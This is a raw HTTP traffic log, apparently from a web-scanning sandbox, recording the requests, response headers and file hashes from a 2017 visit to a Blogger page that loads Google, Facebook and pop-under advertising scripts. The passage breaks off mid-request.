                                         216.58.211.137
HTTP/1.1 200 OK
Content-Type: image/png
                                        
Accept-Ranges: bytes
Content-Length: 475
Date: Fri, 13 Oct 2017 00:43:53 GMT
Expires: Fri, 20 Oct 2017 00:43:53 GMT
Last-Modified: Thu, 12 Oct 2017 11:51:34 GMT
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=604800
Age: 48597
Alt-Svc: quic=":443"; ma=2592000; v="39,38,37,35"


--- Additional Info ---
Magic:  PNG image, 18 x 18, 8-bit colormap, non-interlaced
Size:   475
Md5:    f617effe6d96c15acfea8b2e8aae551f
Sha1:   6d676af11ad2e84b620cce4d5992b657cb2d8ab6
Sha256: d172d750493be64a7ed84dec1dd2a0d787ba42f78bc694b0858f152c52b6620b
                                        
                                            GET /img/share_buttons_20_3.png HTTP/1.1 
Host: www.blogger.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.blogger.com/static/v1/widgets/4071546325-widget_css_bundle_rtl.css

                                         
                                         216.58.211.137
HTTP/1.1 200 OK
Content-Type: image/png
                                        
Accept-Ranges: bytes
Content-Length: 5080
Date: Thu, 12 Oct 2017 23:27:42 GMT
Expires: Thu, 19 Oct 2017 23:27:42 GMT
Last-Modified: Thu, 12 Oct 2017 01:54:12 GMT
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=604800
Age: 53169
Alt-Svc: quic=":443"; ma=2592000; v="39,38,37,35"


--- Additional Info ---
Magic:  PNG image, 120 x 60, 8-bit/color RGBA, non-interlaced
Size:   5080
Md5:    ad9999106d5f550920b586e8e1704e5a
Sha1:   93fd02c51166402a41f96509cd0ca3fb917877dd
Sha256: 3829a5b2ade7cfc416c80b8f3df71e49e68672875f025d525223978f5cee3fd3
                                        
                                            GET /connect/xd_arbiter/r/18W0fzbK7xg.js?version=42 HTTP/1.1 
Host: staticxx.facebook.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://boswekol.blogspot.no/2014/05/blog-post_23.html

                                         
                                         31.13.72.12
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
                                        
Expires: Fri, 12 Oct 2018 22:52:00 GMT
X-XSS-Protection: 0
X-Content-Type-Options: nosniff
Cache-Control: public,max-age=31536000,immutable
content-security-policy: default-src * data: blob:;script-src *.facebook.com *.fbcdn.net *.facebook.net *.google-analytics.com *.virtualearth.net *.google.com 127.0.0.1:* *.spotilocal.com:* 'unsafe-inline' 'unsafe-eval' fbstatic-a.akamaihd.net fbcdn-static-b-a.akamaihd.net *.atlassolutions.com blob: data: 'self';style-src data: blob: 'unsafe-inline' *;connect-src *.facebook.com *.fbcdn.net *.facebook.net *.spotilocal.com:* *.akamaihd.net wss://*.facebook.com:* https://fb.scanandcleanlocal.com:* *.atlassolutions.com attachment.fbsbx.com ws://localhost:* blob: *.cdninstagram.com 'self';
Vary: Accept-Encoding
Content-Encoding: gzip
X-FB-Debug: SniKl2VpZkt3K3zCF5dQrTg2z1x6/YT8uWiX8kqLMXputVXA/Djpyrn3k2RpplyX9cV2jDkIK+iGstFIsJX/YA==
Date: Fri, 13 Oct 2017 14:13:51 GMT
Connection: keep-alive
Content-Length: 14165


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   14165
Md5:    8d39c086e6bbfa14b977e55cfb64a61e
Sha1:   0bab824af1cf4108fa2cdd9f8c205168687a6f17
Sha256: e6a3215ff74d68fc2663a198af89df9798578a5dd25fd813828f6b2ed6f14f9e
                                        
                                            GET /js/plusone.js HTTP/1.1 
Host: apis.google.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://boswekol.blogspot.no/2014/05/blog-post_23.html

                                         
                                         172.217.22.174
HTTP/1.1 200 OK
Content-Type: application/javascript; charset=utf-8
                                        
x-ua-compatible: IE=edge, chrome=1
Timing-Allow-Origin: *
Etag: "ff43a59f940b9e31a0283d768b2237d6"
Expires: Fri, 13 Oct 2017 14:13:51 GMT
Date: Fri, 13 Oct 2017 14:13:51 GMT
Cache-Control: private, max-age=1800, stale-while-revalidate=1800
Strict-Transport-Security: max-age=31536000
P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."
Content-Encoding: gzip
Server: ESF
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
Set-Cookie: NID=114=GNnmfgJpjH-NtdmGOQIAi5WQyfplk2Ml36ME4mXaFSuuhISOKgufe-XNawFP3PxKsNWoakbO7j0IvpX8AU99-8xUtNQ8YvhIiRCOLSx_Z9sHrPxK1AxfWoZ90Yu8pOaj;Domain=.google.com;Path=/;Expires=Sat, 14-Apr-2018 14:13:51 GMT;HttpOnly
Alt-Svc: quic=":443"; ma=2592000; v="39,38,37,35"
Transfer-Encoding: chunked


--- Additional Info ---
Magic:  gzip compressed data, max compression
Size:   17423
Md5:    df210cafcf0432f63b4d1e9017b50492
Sha1:   fb60ebec4c23783d2168550604d871d4efd2a800
Sha256: 282712f4c148ca337b742d000fb85617e37d467f755b4cd563c7ea12451adb95
                                        
                                            GET /static/v1/jsbin/3223910711-comment_from_post_iframe.js HTTP/1.1 
Host: www.blogger.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://boswekol.blogspot.no/2014/05/blog-post_23.html

                                         
                                         216.58.211.137
HTTP/1.1 200 OK
Content-Type: text/javascript
                                        
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 5025
Date: Thu, 12 Oct 2017 23:05:57 GMT
Expires: Fri, 12 Oct 2018 23:05:57 GMT
Last-Modified: Wed, 11 Oct 2017 23:43:43 GMT
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=31536000
Age: 54474
Alt-Svc: quic=":443"; ma=2592000; v="39,38,37,35"


--- Additional Info ---
Magic:  gzip compressed data, max compression
Size:   5025
Md5:    503ba2376916f3be69ed457491b57590
Sha1:   c226f70358341e0affee74c68763e31833f62d09
Sha256: 9e613c2535853e9cb50c815384ddb4dae4d2240106f20244af6106aa1c9ad597
                                        
                                            GET /favicon.ico HTTP/1.1 
Host: boswekol.blogspot.no
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive

                                         
                                         172.217.22.161
HTTP/1.1 200 OK
Content-Type: image/x-icon
                                        
Expires: Fri, 13 Oct 2017 14:13:51 GMT
Date: Fri, 13 Oct 2017 14:13:51 GMT
Cache-Control: private, max-age=86400
Last-Modified: Fri, 06 Oct 2017 19:28:00 GMT
Etag: W/"ed12cb123e19c65790dd82ce5649cef52fe02507257d4dafb010593beb14c617"
Content-Encoding: gzip
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Length: 717
Server: GSE


--- Additional Info ---
Magic:  gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT)
Size:   717
Md5:    2c99316a3921c8e01981dfe85248a83c
Sha1:   3365bddc845cd09b7142fd72b6c70267cff33a0f
Sha256: fbb0b67c64c3e329a5b6131c14eba5bd36a08fcef8ad56f106ce9f1639a6ddf5
                                        
                                            GET /-k53UgxDJfvg/UcEtQCxr9UI/AAAAAAAAIzM/bVL5RVStvSM/s1600/widgettitle-bg.png HTTP/1.1 
Host: 1.bp.blogspot.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://boswekol.blogspot.no/2014/05/blog-post_23.html

                                         
                                         172.217.22.161
HTTP/1.1 200 OK
Content-Type: image/png
                                        
Access-Control-Expose-Headers: Content-Length
Etag: "v2335"
Expires: Sat, 14 Oct 2017 14:13:51 GMT
Cache-Control: public, max-age=86400, no-transform
Content-Disposition: inline;filename="widgettitle-bg.png"
Vary: Origin
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
Date: Fri, 13 Oct 2017 14:13:51 GMT
Server: fife
Content-Length: 931
X-XSS-Protection: 1; mode=block


--- Additional Info ---
Magic:  PNG image, 8 x 8, 8-bit/color RGB, non-interlaced
Size:   931
Md5:    333e50baa20305c6d52177ad7de1341b
Sha1:   9f7307baa60d2e302a129a5f66dd1b4d1e848f96
Sha256: 044fe330fbd68c20cd163467d13c063db1fd1eca61947dc1f418ccee296b7e31
                                        
                                            GET /-3ekMjQ5yxAM/UcEtP0rrdSI/AAAAAAAAIzI/aAq2MzkWFRk/s1600/search.png HTTP/1.1 
Host: 1.bp.blogspot.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://boswekol.blogspot.no/2014/05/blog-post_23.html

                                         
                                         172.217.22.161
HTTP/1.1 200 OK
Content-Type: image/png
                                        
Access-Control-Expose-Headers: Content-Length
Etag: "v2332"
Expires: Sat, 14 Oct 2017 14:13:51 GMT
Cache-Control: public, max-age=86400, no-transform
Content-Disposition: inline;filename="search.png"
Vary: Origin
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
Date: Fri, 13 Oct 2017 14:13:51 GMT
Server: fife
Content-Length: 1176
X-XSS-Protection: 1; mode=block


--- Additional Info ---
Magic:  PNG image, 16 x 16, 8-bit/color RGBA, non-interlaced
Size:   1176
Md5:    86f27f7c125740404a2bf8a7a7d7dc8f
Sha1:   c67cc3e813a764986627918b76886eb4944c6786
Sha256: 630de173d71362395a1befe585b6532a4919594f527ac545342039e10e734268
                                        
                                            GET /_/scs/apps-static/_/js/k=oz.gapi.no.m2rCJFJyJGQ.O/m=plusone/rt=j/sv=1/d=1/ed=1/am=AQ/rs=AGLTcCMZGXZwD7bR521s-ul1oChzQaGabg/cb=gapi.loaded_0 HTTP/1.1 
Host: apis.google.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://boswekol.blogspot.no/2014/05/blog-post_23.html
Cookie: NID=114=JhX258ZIrzJZhwlv2YNiZVgQKvsBt_XVI-cLcmPXRDj9pr_n3hlZs6SHpaqEQsWbrTmxPkvN7eJngFgFI5eTa80DnAXUXo2fjiOiilDB_gpz2EELU22K8-G7m_J0tHul

                                         
                                         172.217.22.174
HTTP/1.1 200 OK
Content-Type: text/javascript; charset=UTF-8
                                        
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 46907
Date: Thu, 12 Oct 2017 19:31:29 GMT
Expires: Fri, 12 Oct 2018 19:31:29 GMT
Last-Modified: Thu, 12 Oct 2017 01:56:10 GMT
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block
Cache-Control: public, immutable, max-age=31536000
Age: 67342
Alt-Svc: quic=":443"; ma=2592000; v="39,38,37,35"


--- Additional Info ---
Magic:  gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT)
Size:   46907
Md5:    663da4522821133a5116f57abe7d6a86
Sha1:   1b157f22c825d5bee65867d2709bfcbb4c04a086
Sha256: 8010ae2811b2cf468d24a4e896dcdcd1457c10af769525ad1928c502b56550fb
                                        
                                            GET /2014/05/YOUR-FAVICON-URL HTTP/1.1 
Host: boswekol.blogspot.no
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive

                                         
                                         172.217.22.161
HTTP/1.1 404 Not Found
Content-Type: text/html; charset=UTF-8
                                        
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Date: Fri, 13 Oct 2017 14:13:51 GMT
Content-Encoding: gzip
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Length: 31471
Server: GSE


--- Additional Info ---
Magic:  gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT)
Size:   31471
Md5:    064ea332737cb5f703ba62a664105ff8
Sha1:   67cec9d318d1642bc5f1494b48511a9f5ea824f7
Sha256: 8141df47b7564f8d4dbaafd2a700bcad7b111f29b1db1c2274f93e31b9651f58
                                        
                                            GET /ceas/1/2/2/ipBrml-bgJuNZpieXqSAw4lkbpZfoKmViGpwmGGgqZiLZnCcjZ6DlY5imJU?w=336&h=280&dp=84936&dp2=4&target=blank HTTP/1.1 
Host: network.adsmarket.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://boswekol.blogspot.no/2014/05/blog-post_23.html

                                         
                                         193.169.104.1
HTTP/1.1 200 OK
Content-Type: text/html
                                        
Server: nginx/1.6.2
Date: Fri, 13 Oct 2017 14:13:51 GMT
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.4.45
Cache-Control: no-cache, must-revalidate


--- Additional Info ---
Magic:  ASCII text, with no line terminators
Size:   284
Md5:    425862532fbd0d3859c8ea306a2ce221
Sha1:   3612b6f4e8f1759ed8d462d393bb59be7dc75f96
Sha256: 5c5ac0863cd3face61bbafbf7b06bbfbb6923a82d316a6b7db6ddec5a0429b61
                                        
                                            GET /2014/05/%D8%B6%D8%B9%20%D8%B1%D8%A7%D8%A8%D8%B7%20%D8%A7%D9%84%D8%B5%D9%88%D8%B1%D8%A9%20%D9%87%D9%86%D8%A7 HTTP/1.1 
Host: boswekol.blogspot.no
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://boswekol.blogspot.no/2014/05/blog-post_23.html

                                         
                                         172.217.22.161
HTTP/1.1 404 Not Found
Content-Type: text/html; charset=UTF-8
                                        
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Date: Fri, 13 Oct 2017 14:13:51 GMT
Content-Encoding: gzip
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Length: 31579
Server: GSE


--- Additional Info ---
Magic:  gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT)
Size:   31579
Md5:    0f09e0d1241b9e71ca6a226d5bd500cb
Sha1:   3d3812a76acbdf63e539ea4471ffef5aa50d26f5
Sha256: a6e62387b675d4b14e7ab5f98e75aef0cb20e684a10241ca05b405c11cedbde2
                                        
                                            GET /_/scs/apps-static/_/js/k=oz.gapi.no.m2rCJFJyJGQ.O/m=auth/exm=plusone/rt=j/sv=1/d=1/ed=1/am=AQ/rs=AGLTcCMZGXZwD7bR521s-ul1oChzQaGabg/cb=gapi.loaded_1 HTTP/1.1 
Host: apis.google.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://boswekol.blogspot.no/2014/05/blog-post_23.html
Cookie: NID=114=GNnmfgJpjH-NtdmGOQIAi5WQyfplk2Ml36ME4mXaFSuuhISOKgufe-XNawFP3PxKsNWoakbO7j0IvpX8AU99-8xUtNQ8YvhIiRCOLSx_Z9sHrPxK1AxfWoZ90Yu8pOaj

                                         
                                         172.217.22.174
HTTP/1.1 200 OK
Content-Type: text/javascript; charset=UTF-8
                                        
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 25913
Date: Thu, 12 Oct 2017 19:31:33 GMT
Expires: Fri, 12 Oct 2018 19:31:33 GMT
Last-Modified: Thu, 12 Oct 2017 01:56:10 GMT
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block
Cache-Control: public, immutable, max-age=31536000
Age: 67338
Alt-Svc: quic=":443"; ma=2592000; v="39,38,37,35"


--- Additional Info ---
Magic:  gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT)
Size:   25913
Md5:    fd21efbec11b2c67b8f0854cbf4311a8
Sha1:   9aa980fab60d633d2f06f6f87886897d736e3347
Sha256: dfff7a03b55ac90c8634260f6386ca821b39cc5dcbf3209d672f6fac6544e293
                                        
                                            GET /pop.js HTTP/1.1 
Host: cdn.popcash.net
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://boswekol.blogspot.no/2014/05/blog-post_23.html

                                         
                                         94.31.29.128
HTTP/1.1 200 OK
Content-Type: application/javascript
                                        
Date: Fri, 13 Oct 2017 14:13:52 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Cache-Control: max-age=86400
Etag: W/"5900505b-ab4"
Expires: Sat, 14 Oct 2017 14:13:52 GMT
Last-Modified: Wed, 26 Apr 2017 07:46:35 GMT
Vary: Accept-Encoding
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Encoding: gzip


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   1425
Md5:    8f73751995633a1054a99879a69ebcf3
Sha1:   a8edf852cef0f9e0c26e7bbcb05e1c3302f75059
Sha256: 784ee5c4ea3573fe700627f1915732ac167496160748611aa5edf7fd2057da86
                                        
                                            GET /impression.php/f3d03e6b4ab976/?lid=115&payload=%7B%22source%22%3A%22jssdk%22%7D HTTP/1.1 
Host: www.facebook.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://boswekol.blogspot.no/2014/05/blog-post_23.html

                                         
                                         31.13.64.35
HTTP/1.1 200 OK
Content-Type: image/gif
                                        
content-security-policy: default-src * data: blob:;script-src *.facebook.com *.fbcdn.net *.facebook.net *.google-analytics.com *.virtualearth.net *.google.com 127.0.0.1:* *.spotilocal.com:* 'unsafe-inline' 'unsafe-eval' fbstatic-a.akamaihd.net fbcdn-static-b-a.akamaihd.net *.atlassolutions.com blob: data: 'self';style-src data: blob: 'unsafe-inline' *;connect-src *.facebook.com *.fbcdn.net *.facebook.net *.spotilocal.com:* *.akamaihd.net wss://*.facebook.com:* https://fb.scanandcleanlocal.com:* *.atlassolutions.com attachment.fbsbx.com ws://localhost:* blob: *.cdninstagram.com 'self';
X-XSS-Protection: 0
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: https://www.facebook.com
Access-Control-Expose-Headers: X-FB-Debug, X-Loader-Length
Pragma: no-cache
Vary: Origin, Accept-Encoding
public-key-pins-report-only: max-age=600; pin-sha256="WoiWRyIOVNa9ihaBciRSC7XHjliYS9VwUGOIud4PB18="; pin-sha256="k2v657xBsOVe1PQRwOsHsw3bsGT2VzIqz5K+59sNQws="; pin-sha256="gMxWOrX4PMQesK9qFNbYBxjBfjUvlkn/vN1n+L9lE5E="; pin-sha256="q4PO2G2cbkZhZ82+JgmRUyGMoAeozA+BSXVXQWB8XWQ="; report-uri="http://reports.fb.com/hpkp/"
access-control-allow-method: OPTIONS
Expires: Sat, 01 Jan 2000 00:00:00 GMT
Strict-Transport-Security: max-age=15552000; preload
X-Content-Type-Options: nosniff
Cache-Control: private, no-cache, no-store, must-revalidate
Content-Encoding: gzip
X-FB-Debug: R151exJpXDiipx9TKM+W1Hvr527KuMlQXjKSQ6pSPbMkVeVVxkyqfKwFgrE4fU1e91Eymvqhpu/bokesi0rEAA==
Date: Fri, 13 Oct 2017 14:13:52 GMT
Transfer-Encoding: chunked
Connection: keep-alive


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   57
Md5:    9539fdb766538c525a3e11e03853b8c9
Sha1:   cd658fd453cb9e7af5aede2e9c6050d81c0e2fdc
Sha256: 88882a6963e4a4313761bf5e5be68a015ec125c023fba749a9ec0aca7a9124af
                                        
                                            GET /jspopunder.min.js HTTP/1.1 
Host: www.cpmfun.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://boswekol.blogspot.no/2014/05/blog-post_23.html
Cookie: cpmfuid=02a2102877e95c611ad39c20e57de56c; hscc3=no; rp001=1

                                         
                                         164.138.221.148
HTTP/1.1 200 OK
Content-Type: application/x-javascript
                                        
Server: nginx
Date: Fri, 13 Oct 2017 14:13:52 GMT
Content-Length: 2362
Last-Modified: Mon, 18 Nov 2013 21:23:52 GMT
Connection: close
Accept-Ranges: bytes


--- Additional Info ---
Magic:  ASCII C program text, with very long lines
Size:   2362
Md5:    65bb0d0bed74f9932917db0ba962f227
Sha1:   bbdfed650e83dbc1f3fd54b25fdea7a3f6d83db1
Sha256: b11372e2c2899c9adba6bb6cc152b21a365932ed3da8a2ee29d196cdfa9fd803
                                        
                                            GET /static/v1/widgets/2682751544-widgets.js HTTP/1.1 
Host: www.blogger.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://boswekol.blogspot.no/2014/05/blog-post_23.html

                                         
                                         216.58.211.137
HTTP/1.1 200 OK
Content-Type: text/javascript
                                        
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 46164
Date: Fri, 13 Oct 2017 05:22:28 GMT
Expires: Sat, 13 Oct 2018 05:22:28 GMT
Last-Modified: Wed, 11 Oct 2017 05:18:35 GMT
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=31536000
Age: 31883
Alt-Svc: quic=":443"; ma=2592000; v="39,38,37,35"


--- Additional Info ---
Magic:  gzip compressed data, max compression
Size:   46164
Md5:    7035c45baf033ca693de092b42a02000
Sha1:   ec2136e5613226a45279a0b3dfe79a3cf4d8f1a7
Sha256: 5cd86ef91ebf028d0c1673b662e640dbd682cb5f0732ab8998022c2599b591ed
                                        
                                            GET /se/0/_/+1/fastbutton?usegapi=1&annotation=inline&width=300&size=medium&source=blogger%3Ablog%3Aplusone&hl=ar&origin=http%3A%2F%2Fboswekol.blogspot.no&url=http%3A%2F%2Fboswekol.blogspot.com%2F2014%2F05%2Fblog-post_23.html&gsrc=3p&ic=1&jsh=m%3B%2F_%2Fscs%2Fapps-static%2F_%2Fjs%2Fk%3Doz.gapi.no.m2rCJFJyJGQ.O%2Fm%3D__features__%2Fam%3DAQ%2Frt%3Dj%2Fd%3D1%2Frs%3DAGLTcCMZGXZwD7bR521s-ul1oChzQaGabg HTTP/1.1 
Host: apis.google.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://boswekol.blogspot.no/2014/05/blog-post_23.html
Cookie: NID=114=GNnmfgJpjH-NtdmGOQIAi5WQyfplk2Ml36ME4mXaFSuuhISOKgufe-XNawFP3PxKsNWoakbO7j0IvpX8AU99-8xUtNQ8YvhIiRCOLSx_Z9sHrPxK1AxfWoZ90Yu8pOaj

                                         
                                         172.217.22.174
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
                                        
x-ua-compatible: IE=edge, chrome=1
Vary: Accept-Encoding
Timing-Allow-Origin: *
Expires: Fri, 13 Oct 2017 14:13:52 GMT
Date: Fri, 13 Oct 2017 14:13:52 GMT
Cache-Control: private, max-age=3600
Content-Encoding: gzip
Server: ESF
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Alt-Svc: quic=":443"; ma=2592000; v="39,38,37,35"
Transfer-Encoding: chunked


--- Additional Info ---
Magic:  gzip compressed data, max compression
Size:   4045
Md5:    5c205a521afc2fcd9d4e5380e0d26bde
Sha1:   7ada7f31f2cedeb5f141c1ed2b849b0dcec68b8e
Sha256: 1b62f4a9e228c6288b4453314502797864f60c22d2a02d90a2dadf2153dca0a2
                                        
                                            POST /ocsp HTTP/1.1 
Host: clients1.google.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Content-Length: 107
Content-Type: application/ocsp-request
Cookie: NID=114=GNnmfgJpjH-NtdmGOQIAi5WQyfplk2Ml36ME4mXaFSuuhISOKgufe-XNawFP3PxKsNWoakbO7j0IvpX8AU99-8xUtNQ8YvhIiRCOLSx_Z9sHrPxK1AxfWoZ90Yu8pOaj

                                         
                                         172.217.22.174
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Date: Fri, 13 Oct 2017 14:13:52 GMT
Expires: Tue, 17 Oct 2017 14:13:52 GMT
Cache-Control: public, max-age=345600
Server: ocsp_responder
Content-Length: 463
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN


--- Additional Info ---
Magic:  data
Size:   463
Md5:    a352c8963f53bbddb3c2ee43ae62b276
Sha1:   8553e71b2e4c06afea3bf11df2ae53b03e24cc8b
Sha256: 0957480062e48be7163da3a9ec8f5598b368cede5b8822753f40ae78c03b5c9a
                                        
                                            GET /servepop.php?wid=61455&c=0 HTTP/1.1 
Host: shmoki.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
